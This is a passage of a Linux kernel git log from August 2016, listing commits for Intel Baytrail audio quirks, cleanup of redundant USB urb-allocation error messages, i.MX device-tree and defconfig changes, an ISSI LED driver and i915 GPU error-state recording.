the function (and the line number) to a debug message if one requests that. It makes no sense to add them unconditionally in a driver. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-wdm.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit d7e60d52ac8cbc6eb9baa2c8d1e6d0478b8dadd4 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:28:00 2016 -0500 ASoC: Intel: bytcr_rt5640: log quirks use dev_info to provide better support for autodetection and DMI-based quirks, no functional changes Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit ec1c90e777e5a555632747527fae142aa238e583 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:59 2016 -0500 ASoC: Intel: bytcr_rt5640: Add quirk for Teclast X98 Air 3G tablet Add DMI-based quirk, routing from SSP0 to AIF1 is not very usual Suggested-by: Antonio Ospite Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 0565e773c272038dc917dde9ed3fb53f72692685 Author: Irina Tirdea Date: Fri Aug 12 16:27:58 2016 -0500 AsoC: Intel: Add quirks for MinnowBoard MAX I2S MCLK has been routed to LSE connector on the MinnowBoard starting with HW version 3. Older versions of the board do not have MCLK wired. Add dmi quirk to disable MCLK for MinnowBoard MAX (v2). Signed-off-by: Irina Tirdea Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit df1a2776a795848f4dbc7c0cb396158b43eb8aa3 Author: Irina Tirdea Date: Fri Aug 12 16:27:57 2016 -0500 ASoC: Intel: bytcr_rt5640: add MCLK support Use platform clocks "pmc_plt_clk_3" when MCLK quirk is defined. By default always enable the 19.2 MHz PLL. Signed-off-by: Pierre-Louis Bossart Signed-off-by: Irina Tirdea Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 187 +++++++++++++++++++++++++++++++--- 1 file changed, 172 insertions(+), 15 deletions(-) commit 59e8b6520c6e2e867b35bc402d9a3f28aef3b2bc Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:54 2016 -0500 ASoC: Intel: bytcr_rt5640: add IN3 map Some platforms have the analog mic connected to IN3, add route accordingly Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit e214f5e78aca81080c156a68a263d31d51d0ea17 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:53 2016 -0500 ASoC: Intel: bytcr_rt5640: default routing and quirks on Baytrail-CR Auto routing based on Baytrail/Baytrail-CR detection Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 32 +++++++++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) commit 038a50e735c85a7a9fbcda090785a588443ffa26 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:52 2016 -0500 ASoC: Intel: bytcr_rt5640: fix dai/clock setup for SSP0 routing SSP0 uses 16 bits 2ch, SSP2 24 bits 2ch Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 92 ++++++++++++++++++++++++----------- 1 file changed, 64 insertions(+), 28 deletions(-) commit f47088d5ae6bec6d01bb0fd71c7d113aa8eaaa27 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:51 2016 -0500 ASoC: Intel: bytcr_rt56040: additional routing quirks Allow for all possible combinations of SSP0,SSP2, AIF1, AIF2 combination (only one at a time) Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 44 +++++++++++++++++++++++++++++++++-- 1 file changed, 42 insertions(+), 2 deletions(-) commit 89b8907ce28fce3e34240e7668c9704880bf3368 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:50 2016 -0500 ASoC: Intel: bytcr_rt5640: add SSP2_AIF2 routing Add quirk to model routing on Baytrail-CR devices Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 54 +++++++++++++++++++++++++++++------ 1 file changed, 46 insertions(+), 8 deletions(-) commit a3f10de1843ab6a37d34d1601cc520498c5d3bc9 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:49 2016 -0500 ASoC: Intel: atom: enable configuration of SSP0 Existing code used SSP2, make selection of SSP id dependent on port name. This is required when the machine driver uses non-default settings Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/atom/sst-atom-controls.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 3d240d73df4e3a21d9c2cdc378c192760adcba13 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:48 2016 -0500 ASoC: Intel: Atom: add definitions for modem/SSP0 interface The Atom DPCM driver only allowed for the SSP2 interface, add definitions for modem/SSP0. These definitions might be used to route audio to a codec connected to SSP0 (instead of a modem in traditional usages), but there is a restriction to 2ch I2S. SSP2 is capable of handling up to 4 slot TDM. Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/atom/sst-atom-controls.c | 17 ++++++++++++++++- sound/soc/intel/atom/sst-atom-controls.h | 6 ++++++ 2 files changed, 22 insertions(+), 1 deletion(-) commit a68bc0d43e1b96c374c4b03eb9baa662778357b3 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:47 2016 -0500 ASoC: Intel: Atom: auto-detection of Baytrail-CR BYT-CR needs special handling to deal with BIOS issues. For some reason the IPC interrupt index is also modified from the Baytrail-T reference. Use PUNIT BIOS config bits to infer platform details. Assume regular Baytrail configs if status is incorrect or CONFIG_IOSF_MBI is not enabled. SSP0 routing issues are solved without dedicated firmware in following patches Tested on Asus T100TA and T100TAF. Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst_acpi.c | 82 +++++++++++++++++++++++++++++++++++-- 1 file changed, 78 insertions(+), 4 deletions(-) commit 5d98f58fd66ea164d7e317d57de77b7d7c1391ff Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:46 2016 -0500 ASoC: Intel: bytcr_rt5640: enable differential mic quirk Some Baytrail-CR devices rely on analog mics connected with differential pairs and not the single-ended default Add quirk and enable it for T00TAF Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 68817cdb3b9f1a19ac6741cdb7151f463d86ec7f Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:45 2016 -0500 ASoC: Intel: bytcr_rt5640: quirk for mono speaker Some Baytrail devices only have a mono speaker, add quirk and enable it for T100TAF. Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 33 ++++++++++++++++++++++++++++----- 1 file changed, 28 insertions(+), 5 deletions(-) commit 73442e3ccbc3136cf92a6785d81d118932292681 Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:44 2016 -0500 ASoC: Intel: bytcr-rt5640: add Asus T100TAF quirks Add quirk based on DMI string matching Also fix matching to use DMI_EXACT_MATCH otherwise T100TA and T100TAF will be using same quirk Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) commit 0c0d539e3335c79d00cf96d9cae24973ca1cfc3e Merge: a657ae7 c49aed7 Author: Mark Brown Date: Mon Aug 15 15:12:00 2016 +0100 Merge branch 'topic/rt5640' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-intel commit c49aed77d55b42a1ec5e1d01c2ab788abc82717c Author: Pierre-Louis Bossart Date: Fri Aug 12 16:27:55 2016 -0500 ASoC: rt5640: add internal clock source support Adding missing definitions and flags to select internal clock source as system clock, needed for jack detection. Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/codecs/rt5640.c | 3 +++ sound/soc/codecs/rt5640.h | 1 + 2 files changed, 4 insertions(+) commit 68d81dea4fc105666516146f6c5e91aa0fe1be02 Author: Wolfram Sang Date: Thu Aug 11 23:23:43 2016 +0200 staging: vt6656: main_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/main_usb.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit e89549b91e484fe592af3ec2b4780bed716d1c2e Author: Wolfram Sang Date: Thu Aug 11 23:23:42 2016 +0200 staging: rtl8192u: r8192U_core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/r8192U_core.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit ca47d8f3ff7b3ee5ca04e03bc22052c3d1dbd5e2 Author: Wolfram Sang Date: Thu Aug 11 23:23:41 2016 +0200 staging: most: hdm-usb: hdm_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 86b368dbfd8378f1a58008b92d9652c8a80e56ad Author: Wolfram Sang Date: Thu Aug 11 23:23:40 2016 +0200 staging: media: lirc: lirc_sasem: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_sasem.c | 5 ----- 1 file changed, 5 deletions(-) commit f11055b9aeb8f7cf7c4780fd071467424a7e661d Author: Wolfram Sang Date: Thu Aug 11 23:23:39 2016 +0200 staging: media: lirc: lirc_imon: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 1a55f38d630285b53b83f6809c34c599d43f02c0 Author: Wolfram Sang Date: Thu Aug 11 23:23:38 2016 +0200 staging: comedi: drivers: usbduxfast: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/usbduxfast.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit ff7bbff3bc6f12dee4fc180a79c964c5c3eea8b2 Author: Wolfram Sang Date: Thu Aug 11 23:22:46 2016 +0200 usb: wusbcore: wa-xfer: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/wa-xfer.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 6b017b7d1094415ea935d056abe18fe136adca71 Author: Wolfram Sang Date: Thu Aug 11 23:14:49 2016 +0200 usb: wusbcore: wa-nep: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/wa-nep.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 7190c178e65b111379faa7c3b453b7e54f078872 Author: Wolfram Sang Date: Thu Aug 11 23:14:48 2016 +0200 usb: usbip: stub_rx: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/usbip/stub_rx.c | 1 - 1 file changed, 1 deletion(-) commit 2bd07d3c21058db28f6e8ad41b7854f5eaffa451 Author: Wolfram Sang Date: Thu Aug 11 23:14:47 2016 +0200 usb: usb-skeleton: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/usb-skeleton.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 792f94f5473beefd7baee437438b6450ac8a35b4 Author: Wolfram Sang Date: Thu Aug 11 23:14:46 2016 +0200 usb: storage: usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/storage/usb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 0450ba4069226a16b2fb979fdb24a3ad60634933 Author: Wolfram Sang Date: Thu Aug 11 23:14:45 2016 +0200 usb: misc: yurex: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/yurex.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 39acc8a843c3ffee8e3c6d726c83c02f4dc291b8 Author: Wolfram Sang Date: Thu Aug 11 23:14:44 2016 +0200 usb: misc: uss720: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/uss720.c | 1 - 1 file changed, 1 deletion(-) commit 843ac1975d146c1e247b5cc87f79ccb90814619b Author: Wolfram Sang Date: Thu Aug 11 23:14:43 2016 +0200 usb: misc: sisusbvga: sisusb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/sisusbvga/sisusb.c | 3 --- 1 file changed, 3 deletions(-) commit da4e20ffcedfce5774dae3c3b653cd22b370c72b Author: Wolfram Sang Date: Thu Aug 11 23:14:42 2016 +0200 usb: misc: lvstest: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/lvstest.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit a131f41f5ba60e7a05fcbce304bc894845a4995a Author: Wolfram Sang Date: Thu Aug 11 23:14:41 2016 +0200 usb: misc: legousbtower: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/legousbtower.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 2d40390337dcc4a02f06574a18119bfbeb798867 Author: Wolfram Sang Date: Thu Aug 11 23:14:40 2016 +0200 usb: misc: ldusb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/ldusb.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 5656bbb772e51f59bcd254cb8e5fd03977d66028 Author: Wolfram Sang Date: Thu Aug 11 23:14:39 2016 +0200 usb: misc: iowarrior: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/iowarrior.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit d3ec72b0c15839600aa03d97c69313f53024015e Author: Wolfram Sang Date: Thu Aug 11 23:14:38 2016 +0200 usb: misc: ftdi-elan: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/ftdi-elan.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit c6b1caaf2a6446516b5c8620d423ea2593142f03 Author: Wolfram Sang Date: Thu Aug 11 23:14:37 2016 +0200 usb: misc: appledisplay: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/appledisplay.c | 1 - 1 file changed, 1 deletion(-) commit 71574a558d243f99d03c4ebec2b2420402857c5b Author: Wolfram Sang Date: Thu Aug 11 23:14:36 2016 +0200 usb: misc: adutux: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/adutux.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit c3014d33f58651b05cf5d24598ce7048bb202bee Author: Wolfram Sang Date: Thu Aug 11 23:14:35 2016 +0200 usb: class: usbtmc: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/class/usbtmc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 4675e961b8c457d6edc184f31ad1fd12bfbbe9ca Author: Wolfram Sang Date: Thu Aug 11 23:14:34 2016 +0200 usb: atm: usbatm: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/usbatm.c | 1 - 1 file changed, 1 deletion(-) commit 7ff56857e352c0a2f1ecaf662dbe93e3434e9ada Author: Wolfram Sang Date: Thu Aug 11 23:14:33 2016 +0200 usb: atm: ueagle-atm: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/ueagle-atm.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 8ebbbf2e5dc01599dcbf520463e9688e74133ad3 Author: Wolfram Sang Date: Thu Aug 11 23:14:32 2016 +0200 usb: atm: cxacru: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/cxacru.c | 2 -- 1 file changed, 2 deletions(-) commit c6a4c9fcfd2a1a6d14e46180d19e565aa2fbf362 Author: Wolfram Sang Date: Thu Aug 11 23:14:42 2016 +0200 uwb: hwa-rc: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/uwb/hwa-rc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 1ae64a5170437c57da5fb6d98f5834b960ea0c0e Author: Breno Lima Date: Tue Aug 9 15:40:46 2016 -0300 ARM: imx_v6_v7_defconfig: Add CONFIG_MPL3115 Add MPL3115 NXP pressure sensor configuration. This sensor is used by warp7 board. Signed-off-by: Breno Lima Signed-off-by: Shawn Guo arch/arm/configs/imx_v6_v7_defconfig | 1 + 1 file changed, 1 insertion(+) commit 171befefb274cb3af2fef7e135f325e1063fff56 Author: Breno Lima Date: Tue Aug 9 15:40:45 2016 -0300 ARM: dts: imx7s-warp: Add MPL3115 sensor support Add support for MPL3115 NXP pressure sensor. Tested by reading temperature and pressure: $ cat /sys/bus/iio/devices/iio:device0/in_temp_raw $ cat /sys/bus/iio/devices/iio:device0/in_pressure_raw Signed-off-by: Breno Lima Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit a2f11455316420c749151da3fcb2a89f3cfb51bb Author: Lucile Quirion Date: Tue Aug 9 11:15:44 2016 -0400 ARM: dts: TS-4900: add basic device tree These device trees add support for TS-4900 by Technologic Systems. More details here: http://wiki.embeddedarm.com/wiki/TS-4900 Signed-off-by: Lucile Quirion Signed-off-by: Shawn Guo arch/arm/boot/dts/Makefile | 2 + arch/arm/boot/dts/imx6dl-ts4900.dts | 49 ++++ arch/arm/boot/dts/imx6q-ts4900.dts | 53 ++++ arch/arm/boot/dts/imx6qdl-ts4900.dtsi | 481 ++++++++++++++++++++++++++++++++++ 4 files changed, 585 insertions(+) commit 1a7723b1ec42767396ce5001a63cf89e11201598 Author: Lucile Quirion Date: Tue Aug 9 11:15:43 2016 -0400 of: documentation: add bindings documentation for TS-4900 This adds the documentation for the TS-4900 by Technologic Systems. Signed-off-by: Lucile Quirion Acked-by: Rob Herring Signed-off-by: Shawn Guo Documentation/devicetree/bindings/arm/technologic.txt | 6 ++++++ 1 file changed, 6 insertions(+) commit 8736f8022e532a3c1d8873aac78e1113c6ffc3b9 Author: Baruch Siach Date: Fri Aug 12 16:04:33 2016 +0300 spi: spidev_test: fix build with musl libc spidev.h uses _IOC_SIZEBITS directly. musl libc does not provide this macro unless linux/ioctl.h is included explicitly. Fixes build failures like: In file included from .../host/usr/arm-buildroot-linux-musleabihf/sysroot/usr/include/sys/ioctl.h:7:0, from .../build/spidev_test-v3.15/spidev_test.c:20: .../build/spidev_test-v3.15/spidev_test.c: In function ‘transfer’: .../build/spidev_test-v3.15/spidev_test.c:75:18: error: ‘_IOC_SIZEBITS’ undeclared (first use in this function) ret = ioctl(fd, SPI_IOC_MESSAGE(1), &tr); ^ Signed-off-by: Baruch Siach Signed-off-by: Mark Brown tools/spi/spidev_test.c | 1 + 1 file changed, 1 insertion(+) commit a43cd4bb3795cfda579cf856d7a438bddd5aa0e4 Author: Baruch Siach Date: Fri Aug 12 15:55:32 2016 +0300 MAINTAINERS: add tools/spi/ to the SPI entry Signed-off-by: Baruch Siach Signed-off-by: Mark Brown MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 90012149ef176605eab390ee6b6c9a1743263217 Author: Vladimir Murzin Date: Mon Aug 15 21:19:56 2016 +0800 ARM: imx: no need to select SMP_ON_UP explicitly SMP_ON_UP is already defaulted to "y" and has all dependencies expressed - no need to select it per platform level Signed-off-by: Vladimir Murzin Signed-off-by: Shawn Guo arch/arm/mach-imx/Kconfig | 3 --- 1 file changed, 3 deletions(-) commit 1544c42ed9904835cce14ec917e7678c92191614 Author: Chris Wilson Date: Mon Aug 15 13:18:16 2016 +0100 drm/i915: Initialise mmaped_count for i915_gem_object_info Reported-by: 0day kbuild test robot Fixes: 2bd160a131ac ("drm/i915: Reduce i915_gem_objects to only show...") Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471263496-27537-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_debugfs.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 556ae220ac64b6564be8d76d855e26b65fcf75bf Author: Markus Elfring Date: Mon Aug 15 10:30:31 2016 +0200 regulator: rk808: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Mark Brown drivers/regulator/rk808-regulator.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8f0ebd0ce1ee1cde559118da00a4ce9184b72d48 Author: Fabio Estevam Date: Mon Aug 8 17:51:14 2016 -0300 ARM: imx_v6_v7_defconfig: Enable GPU support Select CONFIG_DRM_ETNAVIV, so that GPU support can be enabled by default. Generated by manually selecting CONFIG_DRM_ETNAVIV and then running: make savedefconfig cp defconfig arch/arm/configs/imx_v6_v7_defconfig ,which results in additional cleanup. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/configs/imx_v6_v7_defconfig | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 82515ff777fdbbe260f8f8de72a8d1fa143e6e53 Author: Tim Harvey Date: Tue Aug 9 12:18:49 2016 -0700 ARM: dts: imx: ventana: add RS485 txen gpio support Signed-off-by: Tim Harvey Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6qdl-gw52xx.dtsi | 3 +++ arch/arm/boot/dts/imx6qdl-gw53xx.dtsi | 3 +++ arch/arm/boot/dts/imx6qdl-gw54xx.dtsi | 3 +++ 3 files changed, 9 insertions(+) commit 0a88c95eed22db280b919f8a471aa576279e6320 Author: Tim Harvey Date: Tue Aug 9 11:49:07 2016 -0700 ARM: dts: imx: add Gateworks Ventana GW553x support The Gateworks Ventana GW553x is a single-board computer based on the NXP IMX6 SoC with the following features: * IMX6 DualLite Soc (supports IMX6S,IMX6DL,IMX6Q) * small form factor (35x70mm) * 512MB DDR3 DRAM (2x32bit) (options up to 2GB) * 256MB NAND flash (4GB option) * Gateworks System Controller: - hardware watchdog - hardware monitor - pushbutton controller - EEPROM storage - power control * JTAG programmable * 1x miniPCI socket (with PCIe, USB, SIM) * 1x microSD socket * 1x SIM socket * Inertial Module (LSM9DS1 9DOF: 3x acc, 3x rate, 3x mag) * analog CVBS video in * GPS (optional uBlox EVA-M8M) * Application headers: - 2x TTL UART (TX/RX) - 4x TTL GPIO (3x configurable as PWM) - 3x CVBS Analog video input (1x decoder with 3x selectable inputs) * Front panel connectors: - micro-HDMI audio/video out - 1x user programmable LED - 1x configurable user pushbutton - 1x USB OTG See http://www.gateworks.com for more info Signed-off-by: Tim Harvey Signed-off-by: Shawn Guo arch/arm/boot/dts/Makefile | 2 + arch/arm/boot/dts/imx6dl-gw553x.dts | 55 +++++ arch/arm/boot/dts/imx6q-gw553x.dts | 55 +++++ arch/arm/boot/dts/imx6qdl-gw553x.dtsi | 433 ++++++++++++++++++++++++++++++++++ 4 files changed, 545 insertions(+) commit e68015d1973134442170cb562baf8eeb4bb02602 Author: H. Nikolaus Schaller Date: Tue Jul 19 13:47:31 2016 +0200 DT: leds: Add bindings for ISSI is31fl319x This adds a binding description for ISSI is31fl319x LED controllers. Signed-off-by: H. Nikolaus Schaller Acked-by: Rob Herring Signed-off-by: Jacek Anaszewski .../devicetree/bindings/leds/leds-is31fl319x.txt | 59 ++++++++++++++++++++++ 1 file changed, 59 insertions(+) commit 8c40b7d09ec17c7c01a6db2e16a52dca57b68e36 Author: H. Nikolaus Schaller Date: Tue Jul 19 13:47:30 2016 +0200 leds: is31fl319x: 1/3/6/9-channel light effect led driver This is a driver for the Integrated Silicon Solution Inc. LED driver chips series IS31FL319x. They can drive 1, 3, 6 or up to 9 LEDs. Each LED is individually controllable in brightness (through pwm) in 256 steps so that RGB LEDs can show any of ca. 16 Mio colors. The maximum current of the LEDs can be programmed and limited to 5 .. 40mA through a device tree property. The chip is connected through I2C and can have one of 4 addresses in the range 0x64 .. 0x67 depending on how the AD pin is connected. The address is defined by the reg property as usual. The chip also has a shutdown input which could be connected to a GPIO, but this driver uses software shutdown if all LEDs are inactivated. The chip also has breathing and audio features which are not fully supported by this driver. Tested-on: OMAP5 based Pyra handheld prototype. Signed-off-by: H. Nikolaus Schaller Signed-off-by: Andrey Utkin Signed-off-by: Jacek Anaszewski drivers/leds/Kconfig | 12 ++ drivers/leds/Makefile | 1 + drivers/leds/leds-is31fl319x.c | 450 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 463 insertions(+) commit b28c9bf65c4f216308fab42e34a1dfd34b3f1740 Author: Stefan Agner Date: Mon Jul 25 23:42:36 2016 -0700 ARM: dts: imx7d: fix GIC nodes interrupt and register specification The i.MX 7 as a GICv2, hence its CPU interface register map (the second register region) is 8kB long. Add the VGIC maintenance interrupt which allows to use the new VGIC driver. Signed-off-by: Stefan Agner Suggested-by: Marc Zyngier Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 974a3abcffaebc5ac9da03540f1bc5440f6ae7cf Author: Stefan Agner Date: Mon Jul 25 23:42:35 2016 -0700 ARM: dts: imx7d: move ARM platform peripherals inside soc node Since we have a SoC level node we should make use of it and have all nodes which are within the SoC, inside that node. This also saves an extra interrupt-parent properties. While at it, also order the Coresight nodes according to register addresses. Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7d.dtsi | 32 ++--- arch/arm/boot/dts/imx7s.dtsi | 301 +++++++++++++++++++++---------------------- 2 files changed, 167 insertions(+), 166 deletions(-) commit 21a2c58a9c122151080ecbdddc115257cd7c30d8 Author: Chris Wilson Date: Mon Aug 15 10:49:11 2016 +0100 drm/i915: Record the RING_MODE register for post-mortem debugging Just another useful register to inspect following a GPU hang. v2: Remove partial decoding of RING_MODE to userspace, be consistent and use GEN > 2 guards around RING_MODE everywhere. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-32-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gpu_error.c | 3 +++ drivers/gpu/drm/i915/intel_ringbuffer.c | 7 ++++--- 3 files changed, 8 insertions(+), 3 deletions(-) commit 57bc699d43390aab7a21f3f2cee1f13cd31fd0fd Author: Chris Wilson Date: Mon Aug 15 10:49:10 2016 +0100 drm/i915: Only record active and pending requests upon a GPU hang There is no other state pertaining to the completed requests in the hang, other than gleamed through the ringbuffer, so including the expired requests in the list of outstanding requests simply adds noise. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-31-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gpu_error.c | 109 +++++++++++++++++++--------------- 1 file changed, 61 insertions(+), 48 deletions(-) commit 03382dfb633c1c1ac85b3d81ddd2256dcbc8f353 Author: Chris Wilson Date: Mon Aug 15 10:49:09 2016 +0100 drm/i915: Print the batchbuffer offset next to BBADDR in error state It is useful when looking at captured error states to check the recorded BBADDR register (the address of the last batchbuffer instruction loaded) against the expected offset of the batch buffer, and so do a quick check that (a) the capture is true or (b) HEAD hasn't wandered off into the badlands. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-30-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 